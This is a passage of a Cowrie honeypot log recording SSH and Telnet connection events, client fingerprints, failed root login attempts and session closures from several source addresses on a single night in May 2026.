com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:49.864527Z","src_ip":"103.27.238.120","session":"79a33f419eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liliya","message":"login attempt [root/liliya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:50.675419Z","src_ip":"103.27.238.120","session":"79a33f419eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34744,"dst_ip":"10.17.0.5","dst_port":23,"session":"54da8ad421bb","protocol":"telnet","message":"New connection: 152.42.224.71:34744 (10.17.0.5:23) [session: 54da8ad421bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:51.007456Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:51.943511Z","src_ip":"103.27.238.120","session":"79a33f419eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55710,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e8496b0601","protocol":"telnet","message":"New connection: 152.42.224.71:55710 (10.17.0.5:23) [session: e0e8496b0601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:58.361767Z"}
{"eventid":"cowrie.session.closed","duration":48.90019154548645,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:44:59.605861Z","src_ip":"152.42.224.71","session":"09006130bf38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55726,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ea02ca8023c","protocol":"telnet","message":"New connection: 152.42.224.71:55726 (10.17.0.5:23) [session: 8ea02ca8023c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:00.357491Z"}
{"eventid":"cowrie.session.closed","duration":9.574081659317017,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:00.581463Z","src_ip":"152.42.224.71","session":"54da8ad421bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.968656063079834,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:04.342740Z","src_ip":"152.42.224.71","session":"591e16b86c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.206034421920776,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:09.090654Z","src_ip":"152.42.224.71","session":"caac6066c97f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":52290,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfa704a78e78","protocol":"ssh","message":"New connection: 103.27.238.116:52290 (10.17.0.5:22) [session: dfa704a78e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:10.853388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:10.858027Z","src_ip":"103.27.238.116","session":"dfa704a78e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:11.138517Z","src_ip":"103.27.238.116","session":"dfa704a78e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saturn","message":"login attempt [root/saturn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:11.968060Z","src_ip":"103.27.238.116","session":"dfa704a78e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:13.248536Z","src_ip":"103.27.238.116","session":"dfa704a78e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.62178635597229,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:13.716219Z","src_ip":"152.42.224.71","session":"bc81551169a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60136,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bbdc3cc0caa","protocol":"telnet","message":"New connection: 152.42.224.71:60136 (10.17.0.5:23) [session: 5bbdc3cc0caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:16.411932Z"}
{"eventid":"cowrie.session.closed","duration":20.866863012313843,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:19.228393Z","src_ip":"152.42.224.71","session":"e0e8496b0601","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00248980522156,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:20.458026Z","src_ip":"152.42.224.71","session":"138ddf3c1180","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.75917196273804,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:23.299099Z","src_ip":"152.42.224.71","session":"05af6e35936b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":111.76956224441528,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:26.024808Z","src_ip":"152.42.224.71","session":"d99610206b67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40780,"dst_ip":"10.17.0.5","dst_port":23,"session":"210094c5c556","protocol":"telnet","message":"New connection: 152.42.224.71:40780 (10.17.0.5:23) [session: 210094c5c556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:31.443815Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40788,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd84500d6455","protocol":"telnet","message":"New connection: 152.42.224.71:40788 (10.17.0.5:23) [session: dd84500d6455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:35.733864Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34790,"dst_ip":"10.17.0.5","dst_port":23,"session":"01da7c9ee4eb","protocol":"telnet","message":"New connection: 152.42.224.71:34790 (10.17.0.5:23) [session: 01da7c9ee4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:37.374237Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.61.173","src_port":52416,"dst_ip":"10.17.0.5","dst_port":22,"session":"6015024b0ccd","protocol":"ssh","message":"New connection: 65.60.61.173:52416 (10.17.0.5:22) [session: 6015024b0ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:39.835210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:39.840113Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:39.867445Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:0b:7f:59:2f:c3:12:a9:ba:1d:7a:1a:2b:48:ff:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjypE6l5sVrRB8UW4dQRoQH5FuymxKsurKw4wwHlp8A4oCbCJxb/e8TjKAmhBCKiNo+l3qgGRiXP9pfYzNeeDqr5Tl92fIzkUZdmYXVvG5j8ZgK+0zLBwmIEyRMSIXxsUpgyqy4Fhw0EPlip8pXdCY5py7A7u+y5ijIiYO53k7TiDWP8xyidfykkVaG3wBdOfP59U5GJzUUAAH7ARnVzPOpaPUD2KlYb8dKG4Oe0Zt675uNrKxzitn4x+nVubVeOoOzJ8/4eOXJ95lRcqbEnI0A4MgoWtgJ/4SqpCA4EB1+PkdmVZ0QhJLOz88/0K5HkzC0GzlNfJEFWMr71Qu7EP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:0b:7f:59:2f:c3:12:a9:ba:1d:7a:1a:2b:48:ff:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:39.980768Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:0b:7f:59:2f:c3:12:a9:ba:1d:7a:1a:2b:48:ff:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjypE6l5sVrRB8UW4dQRoQH5FuymxKsurKw4wwHlp8A4oCbCJxb/e8TjKAmhBCKiNo+l3qgGRiXP9pfYzNeeDqr5Tl92fIzkUZdmYXVvG5j8ZgK+0zLBwmIEyRMSIXxsUpgyqy4Fhw0EPlip8pXdCY5py7A7u+y5ijIiYO53k7TiDWP8xyidfykkVaG3wBdOfP59U5GJzUUAAH7ARnVzPOpaPUD2KlYb8dKG4Oe0Zt675uNrKxzitn4x+nVubVeOoOzJ8/4eOXJ95lRcqbEnI0A4MgoWtgJ/4SqpCA4EB1+PkdmVZ0QhJLOz88/0K5HkzC0GzlNfJEFWMr71Qu7EP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:39.983437Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:df:60:5e:9f:56:9e:15:c4:44:51:fc:74:29:3a:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINZzYrrnuSqeqFT6ZL1cL8YAaB7YEopS0bypMhSsBf8/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 78:df:60:5e:9f:56:9e:15:c4:44:51:fc:74:29:3a:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:40.009184Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:df:60:5e:9f:56:9e:15:c4:44:51:fc:74:29:3a:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINZzYrrnuSqeqFT6ZL1cL8YAaB7YEopS0bypMhSsBf8/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:40.012811Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:79:be:76:93:39:9b:1d:9f:1c:c7:65:ae:fd:6e:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6wHcI9wqy6Dg6Up3s471wVt4KUUMgEtlgwo45hEv9qlBtJVIhxgde0sTMD+oQD0o5X8f4a8EvrpEjVB9BYeOk1LhPfYAJFOvFZflJgCgU/bohUz1kJxBtDL6D4Mfww4HjlPgARQv0x0rHMTBSbOjF70kSVo+EFi1JaP51PmYzMReReHGv0/OI4EM9UdtgS2aarH0eLNLKNPNenh2Fy3m9DlpCjskNgEVPw+JFwTU7neIfi2igsfJFYFKuA1rShmpvIVyi0LR2WgzSo2qOkijHVq65Y7HAnDBt6Pr35jMzW+6VlUmKVBKj4bN8P9btQL61J9iwgSvbCBGmWBtSMbjj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:79:be:76:93:39:9b:1d:9f:1c:c7:65:ae:fd:6e:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:40.042049Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:79:be:76:93:39:9b:1d:9f:1c:c7:65:ae:fd:6e:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6wHcI9wqy6Dg6Up3s471wVt4KUUMgEtlgwo45hEv9qlBtJVIhxgde0sTMD+oQD0o5X8f4a8EvrpEjVB9BYeOk1LhPfYAJFOvFZflJgCgU/bohUz1kJxBtDL6D4Mfww4HjlPgARQv0x0rHMTBSbOjF70kSVo+EFi1JaP51PmYzMReReHGv0/OI4EM9UdtgS2aarH0eLNLKNPNenh2Fy3m9DlpCjskNgEVPw+JFwTU7neIfi2igsfJFYFKuA1rShmpvIVyi0LR2WgzSo2qOkijHVq65Y7HAnDBt6Pr35jMzW+6VlUmKVBKj4bN8P9btQL61J9iwgSvbCBGmWBtSMbjj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:40.046450Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:bf:11:04:89:3a:d6:df:46:7a:c9:1d:a9:61:80:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqmA+4BE6sgHEiokHdhezA6pCSs7dAVRjh2LJ+MfCWsKWMt3QcdvqYVsEAV9/ot7XmDZO6FhAhtdXhQ0hufMCeRjnAz9+xoHRrEDNeJ6gqDqxA04/hdJ/Gf7MMYZSOXQXJn+t8JwWOcocU+4SC3pErzRNvhuqOGXWc2ULB2p6CJINy7zTPRWZM0hNqcq8IgSNbgZx6qXDGAj0PDdBdGnvXVDqU5OIxGMCQITPYDNIqD0c8kEyM0x3GJKCX1MNR82apxBsKSZvFcEKZU8fd4aaAoD0wLQ6v8QnxL2J0tGHILnm8m4Z75eCnmKOJP24LSXxnT0WnNA/VRSrU+pnGfM0b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:bf:11:04:89:3a:d6:df:46:7a:c9:1d:a9:61:80:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:40.074457Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:bf:11:04:89:3a:d6:df:46:7a:c9:1d:a9:61:80:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqmA+4BE6sgHEiokHdhezA6pCSs7dAVRjh2LJ+MfCWsKWMt3QcdvqYVsEAV9/ot7XmDZO6FhAhtdXhQ0hufMCeRjnAz9+xoHRrEDNeJ6gqDqxA04/hdJ/Gf7MMYZSOXQXJn+t8JwWOcocU+4SC3pErzRNvhuqOGXWc2ULB2p6CJINy7zTPRWZM0hNqcq8IgSNbgZx6qXDGAj0PDdBdGnvXVDqU5OIxGMCQITPYDNIqD0c8kEyM0x3GJKCX1MNR82apxBsKSZvFcEKZU8fd4aaAoD0wLQ6v8QnxL2J0tGHILnm8m4Z75eCnmKOJP24LSXxnT0WnNA/VRSrU+pnGfM0b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:40.078314Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:cc:51:b2:e0:04:a5:bd:3b:a8:01:19:2d:f9:95:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEg9uMDz36YU1x1+M01wvDJL1MntRVL4giHSQ9uk1Lv10buXXgx6ZEAtnfm7GyN2K9Cj+4cT4L5OPUtpa9iCzbs+1Y5xwG4X8iM+/oq4bvc5VWVhT5k7rI+LQyN/UIh/kPXfyZwoZM2HSFXyEIuoTV2Fznx6hGV1FInas2pf7opS6WvgSK22bUCBSb21yZ4g9rRYd8iLaCgryLC7XOdCQkNTyX7VX+zvTW9Pdrk2cVJdVe7yF8lNVUcAGfacBuD2owmxUW1lzZ9+oyaD2ngvBaTnsmAr5IFLE9U+ORHrd7szmTXVM1OVcg1yPBMWi6nSkCCh7X5u5einDAitPP3Tbv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:cc:51:b2:e0:04:a5:bd:3b:a8:01:19:2d:f9:95:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:40.106364Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:cc:51:b2:e0:04:a5:bd:3b:a8:01:19:2d:f9:95:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEg9uMDz36YU1x1+M01wvDJL1MntRVL4giHSQ9uk1Lv10buXXgx6ZEAtnfm7GyN2K9Cj+4cT4L5OPUtpa9iCzbs+1Y5xwG4X8iM+/oq4bvc5VWVhT5k7rI+LQyN/UIh/kPXfyZwoZM2HSFXyEIuoTV2Fznx6hGV1FInas2pf7opS6WvgSK22bUCBSb21yZ4g9rRYd8iLaCgryLC7XOdCQkNTyX7VX+zvTW9Pdrk2cVJdVe7yF8lNVUcAGfacBuD2owmxUW1lzZ9+oyaD2ngvBaTnsmAr5IFLE9U+ORHrd7szmTXVM1OVcg1yPBMWi6nSkCCh7X5u5einDAitPP3Tbv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:40.111825Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:40.140952Z","src_ip":"65.60.61.173","session":"6015024b0ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.870463848114014,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:41.227840Z","src_ip":"152.42.224.71","session":"8ea02ca8023c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.86372256278992,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:41.776803Z","src_ip":"152.42.224.71","session":"012d0a681828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34796,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cc553297ab6","protocol":"telnet","message":"New connection: 152.42.224.71:34796 (10.17.0.5:23) [session: 0cc553297ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:43.611458Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":52734,"dst_ip":"10.17.0.5","dst_port":22,"session":"144d5b23c785","protocol":"ssh","message":"New connection: 194.113.233.25:52734 (10.17.0.5:22) [session: 144d5b23c785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:44.763333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:44.768334Z","src_ip":"194.113.233.25","session":"144d5b23c785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:44.858481Z","src_ip":"194.113.233.25","session":"144d5b23c785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200000","message":"login attempt [root/200000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:45.227475Z","src_ip":"194.113.233.25","session":"144d5b23c785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:46.333761Z","src_ip":"194.113.233.25","session":"144d5b23c785","protocol":"ssh"}
